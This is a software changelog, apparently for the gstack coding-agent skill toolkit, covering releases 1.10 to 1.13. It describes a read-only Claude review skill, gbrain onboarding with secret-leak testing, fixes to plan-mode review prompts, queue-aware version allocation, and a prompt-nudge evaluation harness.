- **`browse/test/terminal-agent.test.ts`** (16 tests) + `terminal-agent-integration.test.ts` (real `/bin/bash` PTY round-trip, raw `Sec-WebSocket-Protocol` upgrade verification) + `tab-each.test.ts` (10 tests with mock `BrowserManager`) + `sidebar-tabs.test.ts` (27 structural assertions locking the chat-rip invariants).
- **CLAUDE.md** updated with the dual-token model, the cookie-vs-protocol rationale, and the cross-pane injection pattern.
- **`vendor:xterm`** build step copies `xterm@5.x` and `xterm-addon-fit` from `node_modules/` into `extension/lib/` at build time. xterm files are gitignored.
- **TODOS.md** carries three v1.1+ follow-ups: PTY session survival across sidebar reload (Issue 1C deferred), `/health` `AUTH_TOKEN` distribution audit (codex finding, pre-existing soft leak), and dropping the now-dead `security-classifier.ts` ML pipeline.

## [1.13.0.0] - 2026-04-25

## **`/gstack-claude` gives non-Claude hosts a read-only outside voice.**

This release adds the reverse of `/codex`: external hosts can now ask Claude for review, adversarial challenge, or read-only consultation without handing nested Claude mutation tools.

### Added

- `claude/SKILL.md.tmpl`: new external-only `/gstack-claude` skill with `review`, `challenge`, and `consult` modes.
- Review and challenge mode feed the detected base-branch diff to `claude -p --tools ""` with `--disable-slash-commands`.
- Consult mode allows only `Read,Grep,Glob`, explicitly disallows `Bash,Edit,Write`, saves `.context/claude-session-id`, and can resume the prior consult session.
- Claude prompt transport now uses a `/tmp/gstack-claude-prompt-*` file piped over stdin with cleanup.
- Auth checks require the `claude` CLI plus either `~/.claude/.credentials.json` or `ANTHROPIC_API_KEY`.
- JSON output parsing extracts `result`, `usage`, `model`, `session_id`, and `is_error`.

### Fixed

- `hosts/claude.ts`: excludes the Claude outside-voice skill from Claude-host generation.
- `test/brain-sync.test.ts`: the `GSTACK_HOME` isolation test now snapshots and preserves the real config file instead of assuming local machine state.
- `claude/SKILL.md.tmpl`: uses `mktemp` for diff capture in review/challenge mode instead of a `$$`-based temp path, avoiding collisions across concurrent invocations.

### Changed

- `test/skill-validation.test.ts`: the tracked-file-size check is now advisory. Large fixtures remain allowed in git and are reported as `[size-warning]` instead of failing the suite.
- `test/gen-skill-docs.test.ts`: generation coverage now asserts external host docs include `gstack-claude/SKILL.md` while Claude host output omits `claude/SKILL.md`.

## [1.12.2.0] - 2026-04-24

## **`/setup-gbrain` polish: PATH parsing, repo init order, MCP user scope.**

Small refinements to the /setup-gbrain onboarding path.

### Fixed
- `bin/gstack-gbrain-install`: parse `gbrain --version` output with `awk '{print $NF}'` so the D19 PATH-shadow check compares just the version number.
- `bin/gstack-brain-init`: omit `--source` from `gh repo create`. Later steps handle `git init` + remote setup explicitly.
- `setup-gbrain` Step 9: smoke test uses `gbrain put <slug>` with body piped on stdin.
- `setup-gbrain` Step 5a: MCP registers with `--scope user` and an absolute path to the gbrain binary, so `mcp__gbrain__*` tools are available in every Claude Code session on the machine.

### Changed
- `test/gstack-brain-init-gh-mock.test.ts`: asserts `--source` is absent from the `gh repo create` call.

## [1.12.1.0] - 2026-04-24

## **Plan-mode review skills run the review directly, no more "exit and rerun" prompt.**

Before this release, `/plan-eng-review` (and the three other `interactive: true` review skills) greeted plan-mode users with an A/B/C handshake asking them to exit plan mode and rerun, or cancel. That handshake was vestigial: the preamble already contains an authoritative "Skill Invocation During Plan Mode" rule saying AskUserQuestion satisfies plan mode's end-of-turn requirement. Two contradictory rules, the bossy one at the top won, the review never ran. This release deletes the bossier rule and hoists the correct one to position 1 of the preamble so skills run straight through.

### What shipped

The vestigial `scripts/resolvers/preamble/generate-plan-mode-handshake.ts` resolver is deleted. The "Plan Mode Safe Operations" and "Skill Invocation During Plan Mode" blocks are split out of `generate-completion-status.ts` into a sibling `generatePlanModeInfo()` export in the same module, then wired at preamble position 1 where the handshake used to live. The "you see this first" positioning stays; only the content changes. Four dead plan-mode-handshake question-registry IDs are removed. The `interactive: true` frontmatter flag stays on the four review skill templates because `test/e2e-harness-audit.test.ts` reads it to classify which skills must have `canUseTool` coverage, per codex outside-voice review.

The four per-skill plan-mode E2E tests are rewritten as smoke tests that assert Step 0's actual scope-mode question fires (not an A/B/C handshake), no Write/Edit before the first AskUserQuestion, and no early `ExitPlanMode`. The write-guard helper from the old `plan-mode-handshake-helpers.ts` is preserved in the renamed `plan-mode-helpers.ts` so silent-bypass regressions still get caught. `test/skill-e2e-plan-mode-no-op.test.ts` is kept for the opposite coverage case: the plan-mode-info block stays quiet outside plan mode. `test/gen-skill-docs.test.ts` now scans every generated `SKILL.md` across all 9 host subdirs (`.agents/`, `.openclaw/`, `.kiro/`, etc.) and asserts `## Plan Mode Handshake` is absent. That's a sub-second unit gate blocking any future PR from re-introducing the resolver.

### The numbers that matter

Source: `bun test` on HEAD against the pre-change baseline.

| Metric | Before | After | Δ |
|---|---|---|---|
| Preamble resolvers | 19 (handshake + completion-status) | 18 (completion-status owns both functions) | -1 module |
| Handshake lines in generated SKILL.md | 92 per skill × 4 skills = 368 | 0 | -368 |
| Question-registry entries | 51 | 47 | -4 dead entries |
| Plan-mode gate-tier tests | 5 handshake-asserting | 5 smoke + no-op + write-guard | same count, stronger assertions |
| Multi-host handshake-absence unit test | none | 1 (scans 9 host dirs, <1s) | new regression gate |
| `bun test` on changed files | 360 gen-skill-docs pass | 360 gen-skill-docs pass | no regression |

The preamble position for the new `## Skill Invocation During Plan Mode` section lands at line ~127 of every `plan-*-review/SKILL.md` (first ~15% of the file), before the upgrade check and onboarding gates, so the authoritative plan-mode rule is the first thing the model reads after bash env setup.

### What this means for plan-mode users

Invoke `/plan-eng-review` from plan mode. You get the scope-mode question (`SCOPE EXPANSION` / `SELECTIVE EXPANSION` / `HOLD SCOPE` / `SCOPE REDUCTION`) immediately, the review runs, each finding gets its own `AskUserQuestion`, `ExitPlanMode` fires at the end. No two-step "exit and rerun" friction. Same for `/plan-ceo-review`, `/plan-design-review`, `/plan-devex-review`.

### Itemized changes

#### Fixed

- `/plan-eng-review`, `/plan-ceo-review`, `/plan-design-review`, `/plan-devex-review` no longer show an A/B/C handshake prompt when invoked in plan mode. Each skill runs its interactive review directly, with every finding gated by `AskUserQuestion` just like outside plan mode.

#### Changed

- The "Plan Mode Safe Operations" and "Skill Invocation During Plan Mode" preamble sections are now emitted at position 1 (right after the bash env setup) instead of at the tail of the completion-status block. All skills see these two sections earlier in the preamble; nothing else changes about the content.
- `test/helpers/plan-mode-handshake-helpers.ts` is renamed to `test/helpers/plan-mode-helpers.ts`. The exported API is renamed from `runPlanModeHandshakeTest` to `runPlanModeSkillTest` and from `assertHandshakeShape` to `assertNotHandshakeShape`. The write-guard detection (no `Write`/`Edit` tool call before the first `AskUserQuestion`) is preserved and extended with `ExitPlanMode`-before-ask detection.

#### Removed

- `scripts/resolvers/preamble/generate-plan-mode-handshake.ts` deleted (vestigial, superseded by `generatePlanModeInfo` in `generate-completion-status.ts`).
- Four question-registry entries removed from `scripts/question-registry.ts`: `plan-ceo-review-plan-mode-handshake`, `plan-eng-review-plan-mode-handshake`, `plan-design-review-plan-mode-handshake`, `plan-devex-review-plan-mode-handshake`. These IDs are no longer emitted by any skill; keeping them in the registry was dead weight.

#### For contributors

- `test/gen-skill-docs.test.ts` now has a "plan-mode-info resolver" describe block that (a) scans every generated `SKILL.md` under the repo root plus every host subdir (`.agents/`, `.openclaw/`, `.opencode/`, `.factory/`, `.hermes/`, `.kiro/`, `.cursor/`, `.slate/`) and asserts `## Plan Mode Handshake` is absent, and (b) asserts `## Skill Invocation During Plan Mode` lands in the first 15,000 bytes of each of the four review skills' generated `SKILL.md`. Both assertions run on every `bun test`. Any PR that re-introduces the handshake resolver fails CI immediately.
- The `interactive: true` frontmatter flag on the four review skill templates is preserved. It still has a reader: `test/e2e-harness-audit.test.ts` uses it to enforce `canUseTool` coverage on interactive review E2E tests. Removing the flag was part of the initial plan; codex outside-voice review caught the downstream dependency during review and that decision was reversed.

## [1.12.0.0] - 2026-04-24

## **`/setup-gbrain` — any coding agent goes from zero to "gbrain is running, and I can call it" in under five minutes.**

gstack v1.9.0.0 shipped `gbrain-sync`, which assumed a `gbrain` CLI was already installed. That was fine on Garry's machine (he'd manually cloned `~/git/gbrain`), broken for everyone else. This release closes the onboarding gap: one skill, three paths (local PGLite, existing Supabase URL, or Supabase auto-provision via the Management API), an MCP registration step for Claude Code, a per-remote trust triad (read-write / read-only / deny) so multi-client consultants don't mingle brains, and a reusable secret-sink test harness other skills can import when they start handling secrets.

### What shipped

Six new `bin/` helpers and one new skill template. `bin/gstack-gbrain-repo-policy` stores per-remote ingest tiers at `~/.gstack/gbrain-repo-policy.json` with a `_schema_version: 2` field so future migrations are deterministic (the first one — legacy `allow` → `read-write` — already runs on first read of any pre-D3 file). `bin/gstack-gbrain-detect` emits the full state as JSON so the skill can skip steps that are already done. `bin/gstack-gbrain-install` probes `~/git/gbrain` and `~/gbrain` before cloning fresh (fixes the day-one dup-clone footgun on the author's own machine) and fails hard on PATH shadowing with a three-option remediation menu instead of warn-and-continue. `bin/gstack-gbrain-lib.sh` extracts the `read_secret_to_env` helper used for both PAT collection and pooler-URL paste — one canonical implementation of the stty-echo-off + SIGINT-restore + env-var-only pattern. `bin/gstack-gbrain-supabase-verify` rejects direct-connection URLs (IPv6-only, fails in most environments) with exit code 3 so the caller's retry UX is distinct from a generic format error. `bin/gstack-gbrain-supabase-provision` wraps the Management API — list-orgs, create, poll, pooler-url, list-orphans, delete-project — with full HTTP error coverage (401/403/402/409/429/5xx), exponential backoff, and `--cleanup-orphans` support for the rare case where someone kills setup mid-provision.

The skill template itself threads these together into a single interactive flow. PAT collection shows the full scope disclosure verbatim before the read-s prompt, explains that the token grants access to every project in the user's Supabase account, and emits a revocation reminder at the end. Path 1's pooler-URL paste gets the same hygiene plus a redacted preview (host / port / database visible, password masked). Switching between engines wraps `gbrain migrate` in `timeout 180s` with an actionable message on deadlock. Concurrent-run protection via `mkdir ~/.gstack/.setup-gbrain.lock.d`. Telemetry records scenario, install result, MCP opt-in, trust tier — all enumerated categorical values, never free-form strings that could leak secrets.

`/health` gets a new GBrain dimension (weight 10%, wrapped in `timeout 5s`) alongside type-check / lint / tests / dead-code / shell-linter. The dimension is omitted — not red — when gbrain isn't installed, so running `/health` on a non-gbrain machine doesn't penalize that choice.

`test/helpers/secret-sink-harness.ts` is new infrastructure. Runs a subprocess with a seeded secret, captures stdout / stderr / files-under-HOME / telemetry-JSONL, and asserts the seed never appears in any channel via four match rules (exact + URL-decoded + first-12-char prefix + base64). Seven positive-control tests prove the harness catches leaks in every covered channel; four negative controls run real setup-gbrain bins with seeded secrets and confirm nothing escapes. Any future skill that handles secrets can import `runWithSecretSink` and run the same pattern.

### The numbers that matter

Source: `bun test` against Slices 1–7's five new test files.

| Suite | Tests | Time |
|---|---|---|
| `gbrain-repo-policy.test.ts` | 24 | ~1.2s |
| `gbrain-detect-install.test.ts` | 15 | ~1.0s |
| `gbrain-lib-verify.test.ts` | 22 | ~0.2s |
| `gbrain-supabase-provision.test.ts` | 28 | ~13.8s |
| `secret-sink-harness.test.ts` | 11 | ~7.0s |
| **Total** | **100** | **~23s** |

Every HTTP error path for the Supabase Management API is covered by a mock-server fixture. Every secret-bearing bin is exercised with a distinctive seed through the leak harness.

### What this means for Claude Code users

Previously: install gbrain manually, hope nothing was shadowing on PATH, paste the pooler URL into an echoing prompt, figure out MCP registration yourself. Now: one command, three paths, PAT-handled-correctly auto-provision, MCP registered for Claude Code automatically, trust tiers for multi-client work, leak-tested end-to-end. Run `/setup-gbrain`.

- `/setup-gbrain` skill (`setup-gbrain/SKILL.md.tmpl`) — full onboarding flow with path selection, PAT-scoped disclosure, redacted URL preview, concurrent-run lock, SIGINT recovery with `--resume-provision`, and `--cleanup-orphans` subcommand.
- `bin/gstack-gbrain-repo-policy` — per-remote trust triad (read-write / read-only / deny), schema-versioned file format, atomic writes, corrupt-file quarantine.
- `bin/gstack-gbrain-detect` — JSON state reporter for skill branching.
- `bin/gstack-gbrain-install` — D5 detect-first installer, D19 PATH-shadow fail-hard validator, pinned gbrain commit.
- `bin/gstack-gbrain-lib.sh` — shared `read_secret_to_env` bash helper.
- `bin/gstack-gbrain-supabase-verify` — structural URL validator with distinct exit for direct-connection rejects.
- `bin/gstack-gbrain-supabase-provision` — Management API wrapper (list-orgs / create / wait / pooler-url / list-orphans / delete-project) with full HTTP error coverage and retry+backoff.
- `test/helpers/secret-sink-harness.ts` — reusable negative-space leak-testing harness.

#### Changed
- `/health` skill adds a GBrain composite dimension (weight 10%, wrapped in `timeout 5s`). Existing category weights rebalanced to keep the composite score on the 0–10 scale; historical JSONL entries without a `gbrain` field read as `null` for trend comparison.

#### For contributors
- Pre-Impl Gate 1 verified Supabase Management API shape before any code was written. Corrected two wrong endpoint assumptions (`POST /v1/projects` not `/v1/organizations/{ref}/projects`; `/config/database/pooler` not `/config/database`) and confirmed gbrain's `--non-interactive` + `GBRAIN_DATABASE_URL` env var are real. Documented in the plan file.
- Review discipline: CEO review + Codex outside voice + Eng review all passed in plan mode before any code landed (3 reviews, 21 D-decisions, 0 unresolved gaps).

## [1.11.1.0] - 2026-04-23

## **Plan mode stopped silently rubber-stamping your reviews. The forcing questions actually fire now.**

If you ran `/plan-ceo-review` or any interactive review skill while in plan mode, the skill used to read your diff, skip every STOP gate, write a plan file, and exit. Zero AskUserQuestion calls. Zero mode selection. Zero per-section decisions. The skill's interactive contract got outranked by plan mode's system-reminder, which tells the model to run its own workflow and ignore everything else. This release adds a preamble-level STOP gate that fires before any analysis, so you always get the interactive review the skill was designed to run.

### What shipped

Four interactive review skills (plan-ceo-review, plan-eng-review, plan-design-review, plan-devex-review) now emit a two-option AskUserQuestion the moment plan mode is detected: exit-and-rerun interactively, or cancel. No silent bypass. The gate is classified one-way-door in the question registry so `/plan-tune` preferences can't auto-decide past it. Outcome gets logged to `~/.gstack/analytics/skill-usage.jsonl` synchronously when the handshake fires, so A-exit and C-cancel are captured even though they terminate the skill before the end-of-run telemetry block.

The test harness got a canUseTool extension built on Anthropic's Agent SDK (already installed at v0.2.117). When a test supplies a canUseTool callback, `test/helpers/agent-sdk-runner.ts` flips `permissionMode` from `bypassPermissions` to `default` so the callback actually fires. This is the foundation for asserting AskUserQuestion content end-to-end, which gstack's E2E tests previously couldn't do at all. They had to instruct the model to skip AskUserQuestion entirely. Every future interactive-skill test builds on this.

### The numbers that matter

Source: new unit tests in `test/gen-skill-docs.test.ts` (8 tests covering handshake presence, absence, composition ordering, 0C-bis STOP block) and `test/agent-sdk-runner.test.ts` (6 tests covering canUseTool + permission-mode + passThrough helper). All 14 pass locally in <250ms, free tier.

| Surface | Before | After |
|---|---|---|
| Claude skills rendering the handshake | 0 | 4 (plan-ceo, plan-eng, plan-design, plan-devex) |
| Non-Claude host outputs with handshake text | N/A | 0 (host-scoped via `ctx.host === 'claude'` check) |
| E2E tests that can assert AskUserQuestion content | 0 | 1 harness primitive, ready for every interactive skill |
| Plan-mode entry to any of 4 review skills | Silent bypass | Two-option STOP gate |
| Step 0C-bis in plan-ceo-review | No STOP block, could drift to 0F | Explicit `**STOP.**` block matching 0F pattern |
| Post-handshake telemetry outcomes captured | Neither A-exit nor C-cancel | Both (synchronous write before ExitPlanMode) |

### What this means for builders

If you're running gstack in plan mode on a PR review, you'll see one question before the skill does anything: "Exit plan mode and run interactively, or cancel?" Pick A, press esc-esc, rerun the skill in normal mode, get the full interactive review you expected. Pick C to bail cleanly. No more silent rubber-stamp.

If you're building new interactive skills (yours or contributing to gstack), you can now write real E2E tests that assert on AskUserQuestion shape and routing via the canUseTool harness. See `test/agent-sdk-runner.test.ts` for the pattern and `test/helpers/agent-sdk-runner.ts` for the API.

### Itemized changes

#### Fixed

- Plan mode no longer silently skips AskUserQuestion gates in `/plan-ceo-review`, `/plan-eng-review`, `/plan-design-review`, or `/plan-devex-review`. A preamble-level handshake fires as the first thing the skill does when the plan-mode system-reminder is present, forcing a user choice before any analysis or plan-file writes.
- `/plan-ceo-review` Step 0C-bis now has an explicit STOP block matching the pattern used at Step 0F, so the approach-selection question can't be silently skipped when the skill continues to mode selection.

#### Added

- New resolver `scripts/resolvers/preamble/generate-plan-mode-handshake.ts` emits the handshake prose and telemetry bash. Host-scoped to Claude only via `ctx.host === 'claude'` check. Opt-in per skill via `interactive: true` in frontmatter.
- New frontmatter field `interactive: boolean` on skill templates. Generator-only input parsed by `scripts/gen-skill-docs.ts`, never written to generated SKILL.md output (follows the `preamble-tier` precedent).
- New question registry entries `plan-{ceo,eng,design,devex}-review-plan-mode-handshake` with `door_type: 'one-way'` in `scripts/question-registry.ts`. Question-tuning `never-ask` preferences cannot suppress this gate.
- New telemetry field `plan_mode_handshake` in `~/.gstack/analytics/skill-usage.jsonl` with outcomes `fired`, `A-exit`, `C-cancel` written synchronously as the handshake fires. Captures outcomes that would otherwise terminate the skill before end-of-run telemetry runs.
- `test/helpers/agent-sdk-runner.ts` extended with optional `canUseTool` callback parameter. When supplied, flips `permissionMode` to `default`, auto-adds `AskUserQuestion` to `allowedTools`, and passes the callback to the SDK. Exports `passThroughNonAskUserQuestion` helper for tests that only want to assert on AskUserQuestion but auto-allow other tools.

#### For contributors

- Added 5 unit tests in `test/gen-skill-docs.test.ts` verifying handshake presence in 4 interactive skills, absence in non-interactive skills, absence in non-Claude host outputs, composition ordering (handshake precedes upgrade-check), and 0C-bis STOP block wiring.
- Added 6 unit tests in `test/agent-sdk-runner.test.ts` verifying permission-mode flip, allowedTools auto-injection, canUseTool callback propagation, and pass-through helper behavior.
- Added 6 gate-tier entries to `test/helpers/touchfiles.ts` covering the new E2E test surface. Dependency glob fires any of the new tests when: the relevant skill template, the handshake resolver, preamble composition, the question registry, the one-way-door classifier, or the agent-sdk-runner changes.
- Filed 2 P1/P2 follow-ups in `TODOS.md`: structural STOP-Ask forcing function across all skills (broader class of bug beyond plan-mode entry), and extending `interactive: true` audit to non-review interactive skills like `/office-hours`, `/codex`, `/investigate`, `/qa`.

## [1.11.0.0] - 2026-04-23

## **Workspace-aware ship. Two open PRs can't both claim the same VERSION anymore.**

If you run gstack in multiple Conductor windows at once, you've probably seen this: two branches bump to the same version, whoever merges second silently overwrites the first one's CHANGELOG entry or lands with a duplicate header, and nobody notices until a `grep "^## \["` later. This release makes that collision impossible by construction. `/ship` now queries the open PR queue, sees what versions are already claimed, and picks the next free slot at your chosen bump level. If a collision is detected between ship and land, the land step aborts and tells you to rerun `/ship` rather than silently overwriting. A new `/landing-report` command shows the whole queue on demand.

### What changes for you

Run `/ship` in one Conductor window while another has an open PR claiming v1.7.0.0. Your ship now sees the claim, renders a queue table, and picks the next free slot above it (same bump level). The PR title starts with `v<X.Y.Z.W>` so landing order is visible in `gh pr list` without opening each PR. If a sibling workspace has uncommitted work at a higher VERSION and looks active (commit in the last 24h), `/ship` asks whether to wait for them or advance past. If the queue shifts between ship and merge, CI's new version-gate catches it, and rerunning `/ship` rewrites VERSION, package.json, CHANGELOG, and the PR title atomically. This very release dogfooded the drift path: the original ship at v1.8.0.0 went stale when three other PRs landed first, and the merge-back-to-main rebump (v1.8.0.0 → v1.11.0.0) happened via the same queue-aware codepath it introduces.

### What shipped (by the numbers)

- `bin/gstack-next-version` — ~390-line Bun/TS util. 21 passing fixture tests covering happy path, 8 collision scenarios, offline fallback, fork-PR filtering, sibling activity detection, self-PR auto-exclusion.
- Host parity: GitHub + GitLab both supported. CI gates: `.github/workflows/version-gate.yml`, `.github/workflows/pr-title-sync.yml`, plus `.gitlab-ci.yml` mirror.
- Fail-open semantics on util errors (network, auth, bug). A gstack bug never freezes your merge queue. Fail-closed on confirmed collisions.
- `/landing-report` skill — read-only dashboard showing queue, siblings, and what all four bump levels would claim.
- `workspace_root` config key, default `$HOME/conductor/workspaces`, null disables sibling scan for non-Conductor users.

### What this means for teams running parallel workspaces

If you're routinely running 3-10 Conductor windows against the same repo, this is the capability that lets the model scale. Before: you mostly got away with it because you noticed collisions by eye. After: the queue is an observable surface, and the system refuses to ship a stale version. `/landing-report` is the new "where am I in line" check when you're about to open PR #6 for the day. Run it before `/ship` if you want to see what's coming without shipping.

### Itemized changes

#### Added

- `bin/gstack-next-version`. Host-aware (GitHub + GitLab + unknown) VERSION allocator. Queries open PRs, fetches each PR's VERSION at head (bounded concurrency, 10 parallel), scans sibling Conductor worktrees, picks the next free slot. Pure reader, never writes files. Supports `--exclude-pr <N>` to filter out the PR being checked (prevents self-reference when CI runs against the PR's own VERSION).
- `scripts/detect-bump.ts`, `scripts/compare-pr-version.ts`. CI gate helpers. Three exit paths: pass, block on confirmed collision, fail-open on util errors.
- `.github/workflows/version-gate.yml`. Merge-time collision gate. Runs when VERSION/CHANGELOG/package.json changes on a PR.
- `.github/workflows/pr-title-sync.yml`. Auto-rewrites PR title when VERSION changes on push, only for titles already carrying the `v<X.Y.Z.W>` prefix (custom titles left alone, idempotent).
- `.gitlab-ci.yml`. GitLab CI parity. Both jobs mirrored with the same fail-open semantics.
- `landing-report/SKILL.md.tmpl`. New `/landing-report` or `/gstack-landing-report` skill. Read-only dashboard.
- `bin/gstack-config`. New `workspace_root` key. Default `$HOME/conductor/workspaces`, `null` disables sibling scan.

#### Changed

- `ship/SKILL.md.tmpl` Step 12. Queue-aware VERSION pick in FRESH path, drift detection in ALREADY_BUMPED path. On detected drift the user is prompted to rebump, which runs the full metadata path (VERSION + package.json + CHANGELOG header + PR title) atomically so nothing goes stale.
- `ship/SKILL.md.tmpl` Step 19. PR title format is now `v<X.Y.Z.W> <type>: <summary>`, version ALWAYS first. Rerun path updates the title (not just the body) when VERSION changed. Both GitHub and GitLab paths.
- `land-and-deploy/SKILL.md.tmpl`. New Step 3.4 pre-merge drift detection. Aborts with a clear rerun-/ship instruction rather than auto-mutating files. Rerunning `/ship` is the clean path because ship owns the full metadata flow.
- `review/SKILL.md.tmpl`. New Step 3.4 advisory one-liner showing queue status. Non-blocking.
- `CLAUDE.md`. Versioning invariant paragraph. Documents that VERSION is a monotonic sequence, not a strict semver commitment, and queue-advance within a bump level is permitted.

#### Fixed

- Self-reference bug in the version gate. The first live CI run (PR #1168 at v1.8.0.0) was rejected as "stale" because the util counted the PR being checked as a queued claim, inflating the next slot by one. Fixed with `--exclude-pr` flag + `gh pr view` auto-detect so the util silently filters the current branch's PR. Caught and fixed in the same ship — exactly the dogfood loop the release is designed for.

#### For contributors

- `test/gstack-next-version.test.ts`. 21 pure-function tests (parseVersion / bumpVersion / cmpVersion / pickNextSlot with 8 collision scenarios / markActiveSiblings 4 cases) plus a CLI smoke test against the live repo.
- Golden ship fixtures refreshed for all three hosts (claude, codex, factory) after Step 12 and Step 19 template changes. This is exactly the blast radius Codex flagged during the CEO review (cross-model tension #8), handled in the same PR rather than as a follow-up.

## [1.10.1.0] - 2026-04-23

## **We tried to make Opus 4.7 faster with a prompt. Measurement said it got slower. Pulled the bullet.**

gstack shipped a "Fan out explicitly" overlay nudge in `model-overlays/opus-4-7.md`
back in v1.5.2.0. The idea: tell Opus 4.7 to emit multiple tool calls in one
assistant turn instead of one per turn, so "read three files" takes one API
round-trip instead of three. Sounded obvious. This release removes that
bullet after measuring that it actively hurt performance, and ships the eval
harness we used to prove it so you can measure your own overlay changes.

### The numbers that matter

Source: new `test/skill-e2e-overlay-harness.test.ts`, N=10 trials per arm per
fixture, 40 trials per run, ~$3 per run. Pinned to `claude-opus-4-7` via
Anthropic's published Agent SDK (`@anthropic-ai/claude-agent-sdk@0.2.117`)
with `pathToClaudeCodeExecutable` set to the locally-installed `claude` binary
(2.1.118). Metric: number of parallel `tool_use` blocks in the first assistant
turn.

| Prompt text in overlay | First-turn fanout rate (toy: read 3 files) | Lift vs baseline |
|---|---|---|
| No overlay (default Claude Code system prompt only) | **70%** (7/10) | baseline |
| gstack's original "Fan out explicitly" nudge (v1.5.2.0 through v1.6.3.0) | 10% (1/10) | **-60%** |
| Anthropic's own canonical `<use_parallel_tool_calls>` text from their parallel-tool-use docs | **0%** (0/10) | **-70%** |

On a realistic multi-file audit prompt (`read app.ts + config.ts + README.md,
glob src/*.ts, summarize`), Opus 4.7 never fanned out in the first turn at all,
regardless of overlay. Zero of 20 trials. The nudge had nothing to grip.

Total cost of the investigation: **$7** across three eval runs.

### What this means for you

If you ship system-prompt nudges for Claude, measure them. Anthropic's own
published best-practice text dropped our fanout rate to zero. That's not a
claim about Anthropic, it's a claim about measurement: the model, the SDK,
the binary, and the context all move under the advice, and the advice sits
still. The harness is in the repo now. Run
`EVALS=1 EVALS_TIER=periodic bun test test/skill-e2e-overlay-harness.test.ts`.
Three dollars per run.

### Itemized changes

#### Fixed

- `model-overlays/opus-4-7.md` — removed the "Fan out explicitly" block. The
  other three nudges (effort-match, batch questions, literal interpretation)
  are untested and stay in for now. They're candidates for their own
  measurement in a follow-up PR.

#### Added

- `test/skill-e2e-overlay-harness.test.ts` — periodic-tier eval that iterates a
  typed fixture registry and runs A/B arms through `@anthropic-ai/claude-agent-sdk`.
  Uses SDK preset `claude_code` so the arms include Claude Code's real system
  prompt; overlay-ON appends the resolved overlay text. Saves per-trial raw
  event streams for forensic recovery. Gated on both `EVALS=1` and
  `EVALS_TIER=periodic`.
- `test/fixtures/overlay-nudges.ts` — typed `OverlayFixture` registry with
  strict validator. Adding a future nudge to measure = one fixture entry.
  First two fixtures: `opus-4-7-fanout-toy` and `opus-4-7-fanout-realistic`.
- `test/helpers/agent-sdk-runner.ts` — parametric SDK wrapper with explicit
  `AgentSdkResult` types, process-level API concurrency semaphore, and
  three-shape 429 retry (thrown error, result-message error, mid-stream
  `SDKRateLimitEvent`). Binary pinning via `pathToClaudeCodeExecutable`.
- `test/agent-sdk-runner.test.ts` — 36 free-tier unit tests covering happy
  path, all three rate-limit shapes, persistent-429 `RateLimitExhaustedError`,
  non-429 propagation, options propagation, concurrency cap, and every
  validator rejection case.
- `scripts/preflight-agent-sdk.ts` — 20-line sanity check that confirms the
  SDK loads, `claude-opus-4-7` is a live API model, the `SDKMessage` event
  shape matches assumptions, and the overlay resolver produces the expected
  text. Run manually before paid runs if you suspect drift. Costs ~$0.013.
- `@anthropic-ai/claude-agent-sdk@0.2.117` in `devDependencies`. Exact pin,
  no caret — SDK event shapes can drift on minor versions.

#### Changed

- `scripts/resolvers/model-overlay.ts` — exported `readOverlay` so the eval
  harness can resolve `{{INHERIT:claude}}` directives without synthesizing a
  full `TemplateContext`.

#### For contributors

- `test/helpers/touchfiles.ts` — registered the new eval in both
  `E2E_TOUCHFILES` (deps: `model-overlays/**`, `overlay-nudges.ts`, runner,
  resolver) and `E2E_TIERS` (`periodic`). Passes the
  `test/touchfiles.test.ts` completeness check.
- The harness is deliberately parametric. Adding a second overlay nudge
  measurement (for the remaining three nudges in `opus-4-7.md`, or any
  future nudge in any overlay file) is a single entry in
  `test/fixtures/overlay-nudges.ts`. Total incremental effort: ~15 minutes
  per fixture.

## [1.10.0.0] - 2026-04-23

## **Plan reviews walk you through each issue again, and every question is now a real decision brief.**

v1.6.4.0 broke something nobody wrote down. Plan reviews on Opus 4.7 silently stopped asking questions one at a time. They turned into a report: here are 6 findings, end of turn. The interactive dialogue that made `/plan-ceo-review`, `/plan-eng-review`, and the rest useful quietly evaporated. v1.10.0.0 restores that, and bundles a format upgrade so every `AskUserQuestion` now renders as a numbered decision brief with ELI10, stakes, recommendation, per-option pros / cons (✅ / ❌), and a closing "Net:" line that frames the trade-off in one sentence.

### What changes for you

Run `/plan-ceo-review` or `/plan-eng-review` on a plan with 3 findings. You get 3 separate AskUserQuestion prompts, one per finding, with the full Pros / Cons shape. Pick the option in 5 seconds, or expand the pros / cons if you want to think about it. Every review finding becomes a decision you actually made, not a bullet point you skimmed. The reference shape matches the D2 memory-design question Garry hand-crafted for his own use, now baked into every tier-2 skill via the preamble resolver, so `/ship`, `/office-hours`, `/investigate`, and the rest inherit it for free.

### The numbers that matter

Measured across the v1.10.0.0 fix. Verify any claim with `git log 1.9.0.0..1.10.0.0 --oneline` and `bun test` against the pinned commit SHA.

| Metric | v1.6.4.0 | v1.10.0.0 | Δ |
|---|---|---|---|
| `AskUserQuestion` renders above model overlay in SKILL.md | no | **yes** | ordering inverted |
| Escape-hatch sites hardened across plan-review templates | 0 | **16** | +16 |
| Gate-tier unit tests pinning the format contract | 0 | **30** | +30 (runs in 16ms, $0) |
| Periodic evals defending against escape-hatch abuse | 0 | **4** | +4 (2 positive, 2 negative-case) |
| Cross-model review findings incorporated before landing | N/A | **5 of 8** | Codex caught real bugs CEO+Eng missed |

Two of the five Codex findings were load-bearing. (1) The overlay reorder theory wasn't enough on its own. The `(recommended)` label on a neutral-posture question had to stay, because `question-tuning.ts:29` reads it to power AUTO_DECIDE. Omitting it would have silently broken auto-decide on every cherry-pick prompt. (2) The "31 sites global replace" in the original plan was factually wrong. Actual count, verified with `rg`, is 16 sites across 4 templates, and eng/design/devex templates used different phrasing than CEO. Without the audit, the fix would have shipped half-applied.

### What this means for anyone running plan reviews on Opus 4.7

Upgrade and re-run your next plan review. You should see D-numbered prompts (D1, D2, D3...) with ELI10 paragraphs, stakes lines, and ✅ / ❌ bullet blocks per option. If you don't, check that `bun run gen:skill-docs` regenerated cleanly after the upgrade, and verify the `Pros / cons:` header renders in `plan-ceo-review/SKILL.md`. Complete plan reviews that used to take 20 minutes and produced a report now take 10 minutes and produce a row of decisions.

### Itemized changes

#### Added

- New Pros / Cons decision-brief format for every `AskUserQuestion` across all tier-2+ skills. Rendering: `D<N>` header, ELI10, "Stakes if we pick wrong:", Recommendation, per-option `✅ / ❌` bullets with minimum 2 pros + 1 con, closing `Net:` synthesis line. Lands in `scripts/resolvers/preamble/generate-ask-user-format.ts` so every skill inherits it.
- Hard-stop escape for destructive one-way choices: single bullet `✅ No cons — this is a hard-stop choice`.
